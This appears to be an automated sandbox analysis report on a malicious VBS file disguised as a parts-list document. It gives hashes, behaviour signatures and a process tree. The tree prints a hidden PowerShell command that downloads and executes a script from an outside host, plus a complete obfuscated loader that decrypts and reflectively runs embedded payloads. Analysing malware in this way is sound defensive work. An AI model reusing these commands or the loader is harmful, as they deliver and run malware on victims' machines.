Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    12-12-2024 14:26

General

  • Target

    List of Required PN#_Desc_&_Qty Details.vbs

  • Size

    79KB

  • MD5

    c0e2ce250c4979a59970d22fd99f340f

  • SHA1

    4e5ad3c3ed1e8871abfd8d0f8466b3ddbc521be0

  • SHA256

    9f0e70dc0dcfc4cfdadd1e2d1c9678ed09a3e4d8eb2c742e454b8fe06256a7e2

  • SHA512

    f6b43f831302a4760f0d6a8a6e822156b68423f6b0a8e313088007ec28e3e7fc0c9f1ba3659bdff7e7889faf6ec30eb8b826a0a3ebf8c3533b38b0318d483404

  • SSDEEP

    1536:lcX2qy9/TpzprFm7xcGhX4y7t3t+JlpbebTQOsod:lcX2pl+HhXVxqild

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\List of Required PN#_Desc_&_Qty Details.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2808
    • C:\Windows\System32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Elx3Sctpo07VJY1RgoaRojmCs/l4e8YyOviovJt3MU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0frhhpE1hB3Q0RCUXEd+g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vNThT=New-Object System.IO.MemoryStream(,$param_var); $tYiMG=New-Object System.IO.MemoryStream; $LFBux=New-Object System.IO.Compression.GZipStream($vNThT, [IO.Compression.CompressionMode]::Decompress); $LFBux.CopyTo($tYiMG); $LFBux.Dispose(); $vNThT.Dispose(); $tYiMG.Dispose(); $tYiMG.ToArray();}function execute_function($param_var,$param2_var){ $zInbo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xuOPn=$zInbo.EntryPoint; $xuOPn.Invoke($null, $param2_var);}$Orgvi = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $Orgvi;$gYhAt=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Orgvi).Split([Environment]::NewLine);foreach ($jYIFP in $gYhAt) { if ($jYIFP.StartsWith('hvdMXDExQOuXjNppwfgb')) { $JMsAA=$jYIFP.Substring(20); break; }}$payloads_var=[string[]]$JMsAA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:2292
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:764

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\system.bat

      Filesize

      69KB

      MD5

      8078d12b395b01ad397cec896ae02a6a

      SHA1

      2a5b18660c4b2b40969651ca16a1ede64f3aecf5

      SHA256

      0c691215924b9a058ad733c185b1eb24f5b7be83206ad634a3027bd4641689a7

      SHA512

      df31dc5758e39eaf761d7874ed47ca42274a57b333e7469423c65ecf676e41494e08bb7cf051e21faf39a69fa0198576696e05f981952ce21d714e32cd3bee2a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      3cc0f951cb043420ea1333a03020f3c6

      SHA1

      61bd3bbfa5e31d42d287f8bcf993e00cfee215e3

      SHA256

      34625932ee23079d12e3fd854bf73ea1df68c682ee6723060f7f9d414c379a21

      SHA512

      f220f6bfda43b32aa2ed06f8333eb445a7b0a02fed90cbaffb2afe2b21758663842c1198891eba17297c60b9f0c48c4f44c5a430e75a0db4fb59bca32616562a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7Q2OBS3978GEIKHHEO6V.temp

      Filesize

      7KB

      MD5

      88eae158157933c1fde5d82a0880832e

      SHA1

      3b37ad6c13d87a5af551cb34fb7a1d842101b269

      SHA256

      14e069f2f6968be03523ab9a6ce22006742787ff71ee02d18306b31a3832c631

      SHA512

      45eec3ab58d13d1d7bc5a383d8a6d3984fd9f7d080f024a95961c12228757e74b4d0389d2ff8e03dc3446a75780ee2ebca9dd3ef745a3df7c36a9b7b1984fd0d

    • memory/764-27-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

    • memory/764-26-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

    • memory/2808-7-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-10-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-11-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-8-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-9-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2808-4-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

      Filesize

      4KB

    • memory/2808-6-0x0000000002060000-0x0000000002068000-memory.dmp

      Filesize

      32KB

    • memory/2808-5-0x000000001B670000-0x000000001B952000-memory.dmp

      Filesize

      2.9MB